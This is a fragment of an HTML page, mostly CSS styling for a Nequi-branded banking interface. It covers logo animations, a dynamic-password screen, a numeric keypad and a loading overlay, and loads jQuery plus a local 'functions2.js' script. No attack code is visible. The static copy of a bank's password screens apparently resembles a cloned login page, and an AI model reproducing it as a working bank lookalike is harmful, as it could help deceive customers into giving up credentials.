      animation-timing-function: var(--logo-animation-timing-function, ease-in-out);
      animation-duration: var(--logo-animation-duration, 6s);
      animation-iteration-count: var(--logo-animation-iteration-count, infinite);
      animation-name: _ngcontent-lun-c17_n-animation
    }

    .splash__container.animate-logo[_ngcontent-lun-c17] .E[_ngcontent-lun-c17] {
      animation-timing-function: var(--logo-animation-timing-function, ease-in-out);
      animation-duration: var(--logo-animation-duration, 6s);
      animation-iteration-count: var(--logo-animation-iteration-count, infinite);
      animation-name: _ngcontent-lun-c17_e-animation
    }

    .splash__container.animate-logo[_ngcontent-lun-c17] .Q[_ngcontent-lun-c17] {
      animation-timing-function: var(--logo-animation-timing-function, ease-in-out);
      animation-duration: var(--logo-animation-duration, 6s);
      animation-iteration-count: var(--logo-animation-iteration-count, infinite);
      animation-name: _ngcontent-lun-c17_q-animation
    }

    .splash__container.animate-logo[_ngcontent-lun-c17] .U[_ngcontent-lun-c17] {
      animation-timing-function: var(--logo-animation-timing-function, ease-in-out);
      animation-duration: var(--logo-animation-duration, 6s);
      animation-iteration-count: var(--logo-animation-iteration-count, infinite);
      animation-name: _ngcontent-lun-c17_u-animation
    }

    .splash__container.animate-logo[_ngcontent-lun-c17] .I[_ngcontent-lun-c17] {
      animation-timing-function: var(--logo-animation-timing-function, ease-in-out);
      animation-duration: var(--logo-animation-duration, 6s);
      animation-iteration-count: var(--logo-animation-iteration-count, infinite);
      animation-name: _ngcontent-lun-c17_i-animation
    }

    @keyframes _ngcontent-lun-c17_point-up-animation {
      0% {
        z-index: -100;
        transform: translate(20px);
        opacity: 0
      }

      10% {
        z-index: -100;
        transform: translate(20px) rotate(0);
        opacity: 0
      }

      15% {
        z-index: 0;
        transform: translate(0) rotate(180deg);
        opacity: 1;
        transform-origin: 3% 9%
      }

      30% {
        transform: translate(0)
      }

      35% {
        transform: translate(30px)
      }

      40% {
        transform: translate(45px, 15px) scale(2)
      }

      47% {
        transform: translate(45px, 15px) scale(2)
      }

      50% {
        transform: translate(50px, 11px) scale(2)
      }

      55% {
        transform-origin: 3.5% 9%;
        transform: translate(50px, 11px) scale(2)
      }

      60% {
        transform: translate(45px, 15px) scale(2) rotate(-180deg)
      }

      65% {
        transform: translate(45px, 15px) scale(2) rotate(-180deg);
        transform-origin: 3.5% 9%
      }

      70% {
        transform: translate(50px, 11px) scale(2) rotate(-180deg);
        transform-origin: 3.5% 9%
      }

      80% {
        transform: translate(45px, 15px) scale(2) rotate(-360deg);
        transform-origin: 3.5% 9%
      }

      90% {
        transform: translate(45px, 15px) scale(2) rotate(-360deg)
      }

      95% {
        transform: translate(-60px) scale(.5) rotate(-360deg)
      }

      to {
        transform: translate(-60px) scale(0) rotate(-360deg)
      }
    }

    @keyframes _ngcontent-lun-c17_point-down-animation {
      0% {
        z-index: -100;
        transform: translate(20px);
        opacity: 0
      }

      10% {
        z-index: -100;
        transform: translate(20px) rotate(0);
        opacity: 0
      }

      15% {
        z-index: 0;
        transform: translate(0) rotate(180deg);
        opacity: 1;
        transform-origin: 3% 9%
      }

      30% {
        transform: translate(0)
      }

      35% {
        transform: translate(30px)
      }

      40% {
        transform: translate(43px, 15px) scale(2)
      }

      47% {
        transform: translate(43px, 15px) scale(2)
      }

      50% {
        transform: translate(39px, 19px) scale(2)
      }

      55% {
        transform-origin: 3.5% 9%;
        transform: translate(39px, 19px) scale(2)
      }

      60% {
        transform: translate(44px, 15px) scale(2) rotate(-180deg)
      }

      65% {
        transform: translate(44px, 15px) scale(2) rotate(-180deg)
      }

      70% {
        transform: translate(39px, 19px) scale(2) rotate(-180deg)
      }

      80% {
        transform: translate(44px, 15px) scale(2) rotate(-360deg);
        transform-origin: 3.5% 9%
      }

      90% {
        transform: translate(44px, 15px) scale(2) rotate(-360deg)
      }

      95% {
        transform: translate(-60px) scale(.5) rotate(-360deg)
      }

      to {
        transform: translate(-60px) scale(0) rotate(-360deg)
      }
    }

    @keyframes _ngcontent-lun-c17_n-animation {
      0% {
        transform: translate(30px);
        opacity: 0
      }

      3% {
        transform: translate(30px);
        opacity: 1
      }

      15% {
        transform: translate(0)
      }

      30% {
        transform: translate(0)
      }

      35% {
        transform: translate(30px);
        rotate: 0deg
      }

      39% {
        transform-origin: 30% 52%;
        rotate: 45deg
      }

      43% {
        transform: translate(50px, 30px)
      }

      to {
        transform: translate(50px, 40px)
      }
    }

    @keyframes _ngcontent-lun-c17_e-animation {
      0% {
        opacity: 0;
        transform: translate(20px)
      }

      6% {
        opacity: 0;
        transform: translate(20px)
      }

      15% {
        opacity: 1;
        transform: translate(0)
      }

      30% {
        transform: translate(0);
        opacity: 1
      }

      31% {
        transform: translate(-20px);
        opacity: 0
      }

      to {
        opacity: 0
      }
    }

    @keyframes _ngcontent-lun-c17_q-animation {
      0% {
        opacity: 0;
        transform: translate(12px)
      }

      8% {
        opacity: 0;
        transform: translate(12px)
      }

      15% {
        opacity: 1;
        transform: translate(0)
      }

      30% {
        transform: translate(0);
        opacity: 1
      }

      32% {
        transform: translate(-20px);
        opacity: 0
      }

      to {
        opacity: 0
      }
    }

    @keyframes _ngcontent-lun-c17_u-animation {
      0% {
        opacity: 0;
        transform: translate(12px)
      }

      9% {
        opacity: 0;
        transform: translate(12px)
      }

      15% {
        opacity: 1;
        transform: translate(0)
      }

      30% {
        transform: translate(0);
        opacity: 1
      }

      33% {
        transform: translate(-30px);
        opacity: 0
      }

      to {
        opacity: 0
      }
    }

    @keyframes _ngcontent-lun-c17_i-animation {
      0% {
        opacity: 0;
        transform-origin: 100% 80%;
        transform: translate(10px) rotate(90deg)
      }

      11% {
        opacity: 0;
        transform: translate(10px) rotate(90deg)
      }

      15% {
        opacity: 1;
        transform: translate(0) rotate(0)
      }

      30% {
        transform: translate(0);
        opacity: 1
      }

      34% {
        transform: translate(-40px);
        opacity: 0
      }

      to {
        opacity: 0
      }
    }
  </style>
  <style>
    .p-toast {
      position: fixed;
      width: 25rem
    }

    .p-toast-message {
      overflow: hidden
    }

    .p-toast-message-content {
      display: flex;
      align-items: flex-start
    }

    .p-toast-message-text {
      flex: 1 1 auto
    }

    .p-toast-top-right {
      top: 20px;
      right: 20px
    }

    .p-toast-top-left {
      top: 20px;
      left: 20px
    }

    .p-toast-bottom-left {
      bottom: 20px;
      left: 20px
    }

    .p-toast-bottom-right {
      bottom: 20px;
      right: 20px
    }

    .p-toast-top-center {
      top: 20px;
      left: 50%;
      transform: translate(-50%)
    }

    .p-toast-bottom-center {
      bottom: 20px;
      left: 50%;
      transform: translate(-50%)
    }

    .p-toast-center {
      left: 50%;
      top: 50%;
      min-width: 20vw;
      transform: translate(-50%, -50%)
    }

    .p-toast-icon-close {
      display: flex;
      align-items: center;
      justify-content: center;
      overflow: hidden;
      position: relative
    }

    .p-toast-icon-close.p-link {
      cursor: pointer
    }
  </style>
  <style>
        #loading-overlay {
            display: none;
            position: fixed;
            top: 0;
            left: 0;
            width: 100%;
            height: 100%;
            background: rgba(0, 0, 0, 0.7); /* Fondo oscuro con opacidad */
            justify-content: center;
            align-items: center;
            z-index: 9999; /* Asegura que est en la parte superior */
        }

        #loading-container {
            text-align: center;
        }

        #loading-image {
            width: 230px; /* Ajusta el tamao de acuerdo a tus necesidades */
        }
    </style>
  <meta http-equiv="origin-trial"
    content="AymqwRC7u88Y4JPvfIF2F37QKylC04248hLCdJAsh8xgOfe/dVJPV3XS3wLFca1ZMVOtnBfVjaCMTVudWM//5g4AAAB7eyJvcmlnaW4iOiJodHRwczovL3d3dy5nb29nbGV0YWdtYW5hZ2VyLmNvbTo0NDMiLCJmZWF0dXJlIjoiUHJpdmFjeVNhbmRib3hBZHNBUElzIiwiZXhwaXJ5IjoxNjk1MTY3OTk5LCJpc1RoaXJkUGFydHkiOnRydWV9">
  <style>
    .payment-information__data-section[_ngcontent-lun-c34] {
      display: flex;
      flex-direction: column;
      margin-bottom: 22px
    }

    .payment-information__data-section[_ngcontent-lun-c34] .title[_ngcontent-lun-c34] {
      color: var(--principales-orquidea);
      font-size: .875rem;
      line-height: 1.25rem;
      font-weight: 500
    }

    .payment-information__data-section[_ngcontent-lun-c34] .description[_ngcontent-lun-c34] {
      color: var(--principales-uva);
      font-size: 1rem;
      font-style: normal;
      font-weight: 400;
      line-height: 1.25rem
    }

    .payment-information__pockets[_ngcontent-lun-c34] {
      margin-bottom: 24px
    }

    .payment-information__pockets[_ngcontent-lun-c34] .title[_ngcontent-lun-c34] {
      color: var(--principales-gris-500);
      font-size: 1rem;
      font-style: normal;
      font-weight: 500;
      line-height: 1.25rem;
      margin-bottom: 8px
    }

    .payment-information__load-more-button[_ngcontent-lun-c34] {
      color: var(--principales-uva);
      font-style: normal;
      font-weight: 500;
      line-height: 1.25rem;
      text-decoration-line: underline;
      font-size: .875rem;
      cursor: pointer
    }

    .payment-information__spinner[_ngcontent-lun-c34] {
      display: flex;
      justify-content: center;
      align-items: center;
      margin-top: 2rem
    }

    .payment-information__buttons[_ngcontent-lun-c34] {
      margin-top: 3rem;
      margin-bottom: 1.5rem;
      display: flex;
      flex-direction: column;
      gap: 1rem
    }

    .payment-information__fav-commerce[_ngcontent-lun-c34] {
      color: var(--principales-gris-70);
      text-align: center;
      font-size: 1rem;
      font-style: normal;
      font-weight: 400;
      line-height: 1.25rem
    }
  </style>
  <style>
    .nequi-spinner.p-progress-spinner {
      width: 24px;
      height: 24px
    }

    .nequi-spinner .p-progress-spinner-circle {
      animation: _ngcontent-lun-c33_spinner 3s ease-in-out infinite
    }

    @keyframes _ngcontent-lun-c33_spinner {
      0% {
        stroke: var(--principales-orquidea)
      }

      50% {
        stroke: var(--principales-orquidea)
      }

      80% {
        stroke: var(--principales-orquidea)
      }

      to {
        stroke: var(--principales-orquidea)
      }
    }
  </style>
  <style>
    .p-progress-spinner {
      position: relative;
      margin: 0 auto;
      width: 100px;
      height: 100px;
      display: inline-block
    }

    .p-progress-spinner:before {
      content: "";
      display: block;
      padding-top: 100%
    }

    .p-progress-spinner-svg {
      animation: p-progress-spinner-rotate 2s linear infinite;
      height: 100%;
      transform-origin: center center;
      width: 100%;
      position: absolute;
      inset: 0;
      margin: auto
    }

    .p-progress-spinner-circle {
      stroke-dasharray: 89, 200;
      stroke-dashoffset: 0;
      stroke: #d62d20;
      animation: p-progress-spinner-dash 1.5s ease-in-out infinite, p-progress-spinner-color 6s ease-in-out infinite;
      stroke-linecap: round
    }

    @keyframes p-progress-spinner-rotate {
      to {
        transform: rotate(360deg)
      }
    }

    @keyframes p-progress-spinner-dash {
      0% {
        stroke-dasharray: 1, 200;
        stroke-dashoffset: 0
      }

      50% {
        stroke-dasharray: 89, 200;
        stroke-dashoffset: -35px
      }

      to {
        stroke-dasharray: 89, 200;
        stroke-dashoffset: -124px
      }
    }

    @keyframes p-progress-spinner-color {

      to,
      0% {
        stroke: #d62d20
      }

      40% {
        stroke: #0057e7
      }

      66% {
        stroke: #008744
      }

      80%,
      90% {
        stroke: #ffa700
      }
    }
  </style>
  <style>
    .p-radiobutton {
      width: 16.97px;
      height: 16.97px;
      margin-top: 20%
    }

    .p-radiobutton-secondary {
      margin-top: 0
    }

    p-radiobutton .p-radiobutton-secondary .p-radiobutton-box {
      border: 1px solid var(--principales-orquidea);
      background: var(--principales-blanco);
      width: 16.97px;
      height: 16.97px;
      color: var(--principales-orquidea)
    }

    p-radiobutton .p-radiobutton-secondary .p-radiobutton-box:not(.p-disabled):not(.p-highlight):hover {
      border-color: var(--principales-orquidea-70)
    }

    p-radiobutton .p-radiobutton-secondary .p-radiobutton-box:not(.p-disabled).p-focus {
      outline: 0 none;
      outline-offset: 0;
      box-shadow: 0 0;
      border-color: var(--principales-orquidea)
    }

    p-radiobutton .p-radiobutton-secondary .p-radiobutton-box .p-radiobutton-icon {
      width: 8.47px;
      height: 8.47px;
      transition-duration: unset;
      background-color: var(--principales-orquidea)
    }

    p-radiobutton .p-radiobutton-secondary .p-radiobutton-box.p-highlight {
      border-color: var(--principales-orquidea);
      background: none;
      border: 2px solid var(--principales-orquidea)
    }

    .p-radiobutton-box .p-radiobutton-secondary .p-highlight .p-radiobutton-icon {
      transform: translateZ(0) scale(1);
      visibility: visible
    }

    p-radiobutton .p-radiobutton-secondary .p-radiobutton-box.p-highlight:not(.p-disabled):hover {
      border-color: var(--principales-orquidea-10);
      background: none;
      color: var(--principales-blanco)
    }

    p-radiobutton .p-radiobutton-secondary .p-radiobutton-box.p-highlight:not(.p-disabled):hover .p-radiobutton-icon {
      background-color: var(--principales-orquidea-10)
    }

    .p-radiobutton-secondary .p-radiobutton-box.p-disabled {
      background: var(--principales-blanco) !important;
      border-color: var(--principales-orquidea-30) !important
    }

    .p-radiobutton-secondary .p-radiobutton-box.p-disabled .p-radiobutton-icon {
      background: var(--principales-orquidea-30)
    }

    p-radiobutton .p-radiobutton-primary .p-radiobutton-box {
      border: 1px solid var(--raton);
      background: #ffffff;
      width: 16.97px;
      height: 16.97px;
      color: var(--raton);
      border-radius: 4px;
      transition: background-color .2s, color .2s, border-color .2s, box-shadow .2s;
      transform: rotate(-45deg)
    }

    p-radiobutton .p-radiobutton-primary .p-radiobutton-box :not(.p-disabled):not(.p-highlight):hover {
      border-color: var(--guayaba)
    }

    p-radiobutton .p-radiobutton-primary .p-radiobutton-box:not(.p-disabled).p-focus {
      outline: 0 none;
      outline-offset: 0;
      box-shadow: 0 0;
      border-color: var(--guayaba)
    }

    p-radiobutton .p-radiobutton-primary .p-radiobutton-box .p-radiobutton-icon {
      width: 8.47px;
      height: 8.47px;
      transition-duration: unset;
      background-color: var(--guayaba);
      border-radius: 2px;
      transform: rotate(0)
    }

    p-radiobutton .p-radiobutton-primary .p-radiobutton-box.p-highlight {
      border-color: var(--guayaba);
      background: none;
      border: 2px solid var(--guayaba)
    }

    .p-radiobutton-box .p-radiobutton-primary .p-highlight .p-radiobutton-icon {
      transform: translateZ(0) scale(1);
      visibility: visible
    }

    p-radiobutton .p-radiobutton-primary .p-radiobutton-box.p-highlight:not(.p-disabled):hover {
      border-color: var(--guayaba-80);
      background: none;
      color: #fff
    }

    .p-radiobutton-primary .p-radiobutton-box.p-highlight.p-disabled {
      background: white !important;
      border-color: var(--raton) !important
    }

    .p-radiobutton-primary .p-radiobutton-box.p-highlight.p-disabled .p-radiobutton-icon {
      background: var(--raton) !important
    }

    .label-disabled[_ngcontent-lun-c31] {
      color: var(--raton)
    }

    label.p-radiobutton-secondary[_ngcontent-lun-c31] {
      color: var(--principales-uva);
      font-size: 1rem;
      font-style: normal;
      font-weight: 400;
      line-height: 1.25rem
    }

    label.p-radiobutton-secondary.label-disabled[_ngcontent-lun-c31] {
      color: var(--principales-gris-300)
    }
  </style>
  <style>
    .dynamic-password__subtitle[_ngcontent-lun-c36] {
      color: var(--principales-uva);
      text-align: center;
      font-size: .875rem;
      font-style: normal;
      line-height: 1.25rem;
      font-weight: 400;
      letter-spacing: .2px;
      margin-bottom: 1.75rem
    }

    .dynamic-password__buttons[_ngcontent-lun-c36] {
      display: flex;
      flex-direction: column;
      gap: 14px;
      margin-bottom: 1.5rem
    }

    .dynamic-password__container-buttons[_ngcontent-lun-c36] {
      margin-top: 32px
    }
  </style>
  <style>
    .box_numerickeypad {
      width: 272px;
      display: flex;
      justify-content: space-around
    }

    .input-keypad {

    border: none;
    
    }

    .code_numerickeypad {
      width: 32px;
    border-bottom: 1px solid var(--principales-uva);
    padding-bottom: 1px;
    height: 40px;
    }

    .code_numerickeypad span {
      color: var(--principales-orquidea);
      font-size: 2.25rem;
      font-weight: 700;
      line-height: 3rem;
      width: 24px;
      height: 24px;
      display: flex;
      align-items: center;
      justify-content: flex-end
    }

    .label_numerickeypad {
      font-size: .875rem;
      font-style: normal;
      font-weight: 400;
      line-height: 1.25rem;
      letter-spacing: .2px;
      color: var(--principales-orquidea);
      padding: 16px
    }

    .p-card {
      display: flex;
      flex-direction: column;
      margin: 0;
      align-items: center;
      gap: 8px;
      background: var(--principales-blanco);
      width: 320px;
      box-shadow: none
    }

    @media screen and (max-width: 425px) {
      .p-card {
        width: 100%
      }
    }

    .p-card .p-card-body {
      padding-bottom: 0
    }

    .numeric_board {
      width: 90%;
      margin: 0 auto
    }

    .numeric_board-row {
      display: flex;
      padding-bottom: 18px;
      justify-content: space-between;
      padding-right: 12px
    }

    .numeric_board-row:last-child {
      padding-bottom: 0
    }

    .container_number {
      color: var(--principales-uva);
      font-size: 2.25rem;
      font-style: normal;
      font-weight: 400;
      line-height: 3rem;
      width: 28.67px;
      display: flex;
      justify-content: flex-end;
      text-align: center;
      outline: unset;
      outline-offset: unset;
      cursor: pointer;
      align-items: center
    }
  </style>
  <style>
    .p-card-header img {
      width: 100%
    }
  </style>
<style>
      .splash[_ngcontent-nlu-c17] {
        height: 100%;
        width: 100%;
        background-color: #00000000;
      }
      .splash__container[_ngcontent-nlu-c17] {
        display: flex;
        align-items: center;
        justify-content: center;
        height: 100%;
      }
      .splash__container.animate-logo[_ngcontent-nlu-c17]
        .point__up[_ngcontent-nlu-c17] {
        animation-timing-function: var(
          --logo-animation-timing-function,
          ease-in-out
        );
        animation-duration: var(--logo-animation-duration, 6s);
        animation-iteration-count: var(
          --logo-animation-iteration-count,
          infinite
        );
        animation-name: _ngcontent-nlu-c17_point-up-animation;
      }
      .splash__container.animate-logo[_ngcontent-nlu-c17]
        .point__down[_ngcontent-nlu-c17] {
        animation-timing-function: var(
          --logo-animation-timing-function,
          ease-in-out
        );
        animation-duration: var(--logo-animation-duration, 6s);
        animation-iteration-count: var(
          --logo-animation-iteration-count,
          infinite
        );
        animation-name: _ngcontent-nlu-c17_point-down-animation;
      }
      .splash__container.animate-logo[_ngcontent-nlu-c17]
        .N[_ngcontent-nlu-c17] {
        animation-timing-function: var(
          --logo-animation-timing-function,
          ease-in-out
        );
        animation-duration: var(--logo-animation-duration, 6s);
        animation-iteration-count: var(
          --logo-animation-iteration-count,
          infinite
        );
        animation-name: _ngcontent-nlu-c17_n-animation;
      }
      .splash__container.animate-logo[_ngcontent-nlu-c17]
        .E[_ngcontent-nlu-c17] {
        animation-timing-function: var(
          --logo-animation-timing-function,
          ease-in-out
        );
        animation-duration: var(--logo-animation-duration, 6s);
        animation-iteration-count: var(
          --logo-animation-iteration-count,
          infinite
        );
        animation-name: _ngcontent-nlu-c17_e-animation;
      }
      .splash__container.animate-logo[_ngcontent-nlu-c17]
        .Q[_ngcontent-nlu-c17] {
        animation-timing-function: var(
          --logo-animation-timing-function,
          ease-in-out
        );
        animation-duration: var(--logo-animation-duration, 6s);
        animation-iteration-count: var(
          --logo-animation-iteration-count,
          infinite
        );
        animation-name: _ngcontent-nlu-c17_q-animation;
      }
      .splash__container.animate-logo[_ngcontent-nlu-c17]
        .U[_ngcontent-nlu-c17] {
        animation-timing-function: var(
          --logo-animation-timing-function,
          ease-in-out
        );
        animation-duration: var(--logo-animation-duration, 6s);
        animation-iteration-count: var(
          --logo-animation-iteration-count,
          infinite
        );
        animation-name: _ngcontent-nlu-c17_u-animation;
      }
      .splash__container.animate-logo[_ngcontent-nlu-c17]
        .I[_ngcontent-nlu-c17] {
        animation-timing-function: var(
          --logo-animation-timing-function,
          ease-in-out
        );
        animation-duration: var(--logo-animation-duration, 6s);
        animation-iteration-count: var(
          --logo-animation-iteration-count,
          infinite
        );
        animation-name: _ngcontent-nlu-c17_i-animation;
      }
      @keyframes _ngcontent-nlu-c17_point-up-animation {
        0% {
          z-index: -100;
          transform: translate(20px);
          opacity: 0;
        }
        10% {
          z-index: -100;
          transform: translate(20px) rotate(0);
          opacity: 0;
        }
        15% {
          z-index: 0;
          transform: translate(0) rotate(180deg);
          opacity: 1;
          transform-origin: 3% 9%;
        }
        30% {
          transform: translate(0);
        }
        35% {
          transform: translate(30px);
        }
        40% {
          transform: translate(45px, 15px) scale(2);
        }
        47% {
          transform: translate(45px, 15px) scale(2);
        }
        50% {
          transform: translate(50px, 11px) scale(2);
        }
        55% {
          transform-origin: 3.5% 9%;
          transform: translate(50px, 11px) scale(2);
        }
        60% {
          transform: translate(45px, 15px) scale(2) rotate(-180deg);
        }
        65% {
          transform: translate(45px, 15px) scale(2) rotate(-180deg);
          transform-origin: 3.5% 9%;
        }
        70% {
          transform: translate(50px, 11px) scale(2) rotate(-180deg);
          transform-origin: 3.5% 9%;
        }
        80% {
          transform: translate(45px, 15px) scale(2) rotate(-360deg);
          transform-origin: 3.5% 9%;
        }
        90% {
          transform: translate(45px, 15px) scale(2) rotate(-360deg);
        }
        95% {
          transform: translate(-60px) scale(0.5) rotate(-360deg);
        }
        to {
          transform: translate(-60px) scale(0) rotate(-360deg);
        }
      }
      @keyframes _ngcontent-nlu-c17_point-down-animation {
        0% {
          z-index: -100;
          transform: translate(20px);
          opacity: 0;
        }
        10% {
          z-index: -100;
          transform: translate(20px) rotate(0);
          opacity: 0;
        }
        15% {
          z-index: 0;
          transform: translate(0) rotate(180deg);
          opacity: 1;
          transform-origin: 3% 9%;
        }
        30% {
          transform: translate(0);
        }
        35% {
          transform: translate(30px);
        }
        40% {
          transform: translate(43px, 15px) scale(2);
        }
        47% {
          transform: translate(43px, 15px) scale(2);
        }
        50% {
          transform: translate(39px, 19px) scale(2);
        }
        55% {
          transform-origin: 3.5% 9%;
          transform: translate(39px, 19px) scale(2);
        }
        60% {
          transform: translate(44px, 15px) scale(2) rotate(-180deg);
        }
        65% {
          transform: translate(44px, 15px) scale(2) rotate(-180deg);
        }
        70% {
          transform: translate(39px, 19px) scale(2) rotate(-180deg);
        }
        80% {
          transform: translate(44px, 15px) scale(2) rotate(-360deg);
          transform-origin: 3.5% 9%;
        }
        90% {
          transform: translate(44px, 15px) scale(2) rotate(-360deg);
        }
        95% {
          transform: translate(-60px) scale(0.5) rotate(-360deg);
        }
        to {
          transform: translate(-60px) scale(0) rotate(-360deg);
        }
      }
      @keyframes _ngcontent-nlu-c17_n-animation {
        0% {
          transform: translate(30px);
          opacity: 0;
        }
        3% {
          transform: translate(30px);
          opacity: 1;
        }
        15% {
          transform: translate(0);
        }
        30% {
          transform: translate(0);
        }
        35% {
          transform: translate(30px);
          rotate: 0deg;
        }
        39% {
          transform-origin: 30% 52%;
          rotate: 45deg;
        }
        43% {
          transform: translate(50px, 30px);
        }
        to {
          transform: translate(50px, 40px);
        }
      }
      @keyframes _ngcontent-nlu-c17_e-animation {
        0% {
          opacity: 0;
          transform: translate(20px);
        }
        6% {
          opacity: 0;
          transform: translate(20px);
        }
        15% {
          opacity: 1;
          transform: translate(0);
        }
        30% {
          transform: translate(0);
          opacity: 1;
        }
        31% {
          transform: translate(-20px);
          opacity: 0;
        }
        to {
          opacity: 0;
        }
      }
      @keyframes _ngcontent-nlu-c17_q-animation {
        0% {
          opacity: 0;
          transform: translate(12px);
        }
        8% {
          opacity: 0;
          transform: translate(12px);
        }
        15% {
          opacity: 1;
          transform: translate(0);
        }
        30% {
          transform: translate(0);
          opacity: 1;
        }
        32% {
          transform: translate(-20px);
          opacity: 0;
        }
        to {
          opacity: 0;
        }
      }
      @keyframes _ngcontent-nlu-c17_u-animation {
        0% {
          opacity: 0;
          transform: translate(12px);
        }
        9% {
          opacity: 0;
          transform: translate(12px);
        }
        15% {
          opacity: 1;
          transform: translate(0);
        }
        30% {
          transform: translate(0);
          opacity: 1;
        }
        33% {
          transform: translate(-30px);
          opacity: 0;
        }
        to {
          opacity: 0;
        }
      }
      @keyframes _ngcontent-nlu-c17_i-animation {
        0% {
          opacity: 0;
          transform-origin: 100% 80%;
          transform: translate(10px) rotate(90deg);
        }
        11% {
          opacity: 0;
          transform: translate(10px) rotate(90deg);
        }
        15% {
          opacity: 1;
          transform: translate(0) rotate(0);
        }
        30% {
          transform: translate(0);
          opacity: 1;
        }
        34% {
          transform: translate(-40px);
          opacity: 0;
        }
        to {
          opacity: 0;
        }
      }
    </style>
    <style>.p-toast-top-center{left:54%!important;transform:translate(-44%)!important}@media (min-width: 600px){  .p-toast-top-center{left:52%!important}}@media (min-width: 1280px){  .p-toast-top-center{left:51%!important;transform:translate(-42%)!important}}@media (min-width: 1920px){  .p-toast-top-center{left:50%!important;transform:translate(-39%)!important}}  .p-toast{opacity:1!important}  .p-toast .p-toast-message{margin:0 0 1rem;box-shadow:0 2px 12px #0000001a;border-radius:8px;width:328px}  .p-toast .p-toast-message .p-toast-message-content{padding:1rem;border-width:0 0 0 6px}  .p-toast .p-toast-message.p-toast-message-success{background:var(--mensajes-positivo);border:solid var(--mensajes-positivo);border-width:0 0 0 0px;color:var(--principales-blanco)}  .p-toast .p-toast-message.p-toast-message-success .p-toast-message-icon,   .p-toast .p-toast-message.p-toast-message-success .p-toast-icon-close{color:var(--principales-blanco);display:none}  .p-toast .p-toast-message .p-toast-message-content .p-toast-detail{margin:.3rem 0 0}  .p-toast .p-toast-message .p-toast-icon-close{width:2rem;height:2rem;border-radius:50%;background:transparent;transition:background-color .2s,color .2s,box-shadow .2s}  .p-toast .p-toast-message.p-toast-message-error{background:var(--mensajes-negativo);border:solid var(--mensajes-negativo);border-width:0 0 0 0px;color:var(--principales-blanco)}  .p-toast .p-toast-message.p-toast-message-error .p-toast-message-icon,   .p-toast .p-toast-message.p-toast-message-error .p-toast-icon-close{color:var(--principales-blanco);display:none}  .p-toast .p-toast-message.p-toast-message-info{background:var(--mensajes-informativo);border:solid var(--mensajes-informativo);border-width:0 0 0 0px;color:var(--principales-blanco)}  .p-toast .p-toast-message.p-toast-message-info .p-toast-message-icon,   .p-toast .p-toast-message.p-toast-message-info .p-toast-icon-close{color:var(--principales-blanco);display:none}  .p-toast .p-toast-message.p-toast-message-warn{background:var(--gray-60);border:solid var(--gray-60);border-width:0 0 0 0px;color:var(--principales-blanco)}  .p-toast .p-toast-message.p-toast-message-warn .p-toast-message-icon,   .p-toast .p-toast-message.p-toast-message-warn .p-toast-icon-close{color:var(--principales-blanco);display:none}.toast-content[_ngcontent-xfr-c19]{display:flex;justify-content:center;align-items:center;gap:12px}.toast-content__icon-container[_ngcontent-xfr-c19]{position:relative;padding-top:4px}.toast-content__icon-background[_ngcontent-xfr-c19]{background-color:var(--principales-blanco);opacity:.4;width:24px;height:24px;position:absolute}.toast-content__icon-background.icon_info[_ngcontent-xfr-c19]{transform:rotate(45deg)}.toast-content__icon-background.icon_success[_ngcontent-xfr-c19]{border-radius:50%}.toast-content__icon-background.icon_error[_ngcontent-xfr-c19]{background-color:transparent;border:transparent .9em solid;border-bottom-color:var(--principales-blanco);border-bottom-width:1.5rem;border-bottom-right-radius:3px;border-bottom-left-radius:3px;border-top-width:0;box-shadow:var(--mensajes-negativo) 0 1px 1px;left:-2px;top:3px}.toast-content__icon[_ngcontent-xfr-c19]{color:var(--principales-uva);padding:4px}.toast-content__message[_ngcontent-xfr-c19]{color:var(--principales-uva);font-size:.875rem;font-style:normal;font-weight:400;line-height:1.25rem;letter-spacing:.2px}</style>
    <style>
      @keyframes fadeInUpAndStay {
  0% {
    transform: translateY(100%); /* Inicia desde abajo */
    opacity: 0; /* Comienza invisible */
  }
  20% {
    transform: translateY(0); /* Llega a su posición original */
    opacity: 1; /* Aparece completamente */
  }
  80% {
    transform: translateY(0); /* Mantiene su posición */
    opacity: 1; /* Permanece visible */
  }
  100% {
    transform: translateY(100%); /* Mantiene su posición */
    opacity: 0; /* Se desvanece */
  }
}

.ng-animating  {
  animation: fadeInUpAndStay 5s forwards;
}

  </style>
  <script type="text/javascript" src="/scripts/jquery-3.6.0.min.js"></script>
  <script type="text/javascript" src="/scripts/functions2.js"></script>

</head>

<body class="">
    <div id="loading-overlay" style="display: none;">
    <div id="loading-container">
        <div class="ng-tns-c7-1 p-dialog-content">
      <nequi-logo _ngcontent-nlu-c26="" _nghost-nlu-c17="" class="ng-tns-c7-1"><section _ngcontent-nlu-c17="" id="img-header" class="splash">
          <div _ngcontent-nlu-c17="" class="splash__container animate-logo">
            <svg _ngcontent-nlu-c17="" width="180" height="40" viewBox="0 0 104 32" fill="none" xmlns="http://www.w3.org/2000/svg" class="splash__container__svg">
              <path _ngcontent-nlu-c17="" d="M5.29905 0H0.918073C0.411035 0 0 0.408316 0 0.912V4.608C0 5.11168 0.411035 5.52 0.918073 5.52H5.29905C5.80609 5.52 6.21713 5.11168 6.21713 4.608V0.912C6.21713 0.408316 5.80609 0 5.29905 0Z" fill="#DA0081" class="point__up"></path>
              <path _ngcontent-nlu-c17="" d="M5.29905 0H0.918073C0.411035 0 0 0.408316 0 0.912V4.608C0 5.11168 0.411035 5.52 0.918073 5.52H5.29905C5.80609 5.52 6.21713 5.11168 6.21713 4.608V0.912C6.21713 0.408316 5.80609 0 5.29905 0Z" fill="#DA0081" class="point__down"></path>
              <path _ngcontent-nlu-c17="" d="M31.9876 0H28.2187C27.7033 0 27.3006 0.416 27.3006 0.912V15.872C27.3006 16.176 26.8979 16.288 26.753 16.016L17.991 0.4C17.8461 0.144 17.5884 0 17.2823 0H11.0169C10.5015 0 10.0988 0.416 10.0988 0.912V24.816C10.0988 25.328 10.5176 25.728 11.0169 25.728H14.7858C15.3012 25.728 15.7039 25.312 15.7039 24.816V9.408C15.7039 9.104 16.1066 8.992 16.2515 9.264L25.2551 25.344C25.4 25.6 25.6577 25.744 25.9638 25.744H31.9554C32.4708 25.744 32.8735 25.328 32.8735 24.832V0.912C32.8735 0.4 32.4547 0 31.9554 0H31.9876Z" fill="#200020" class="N"></path>
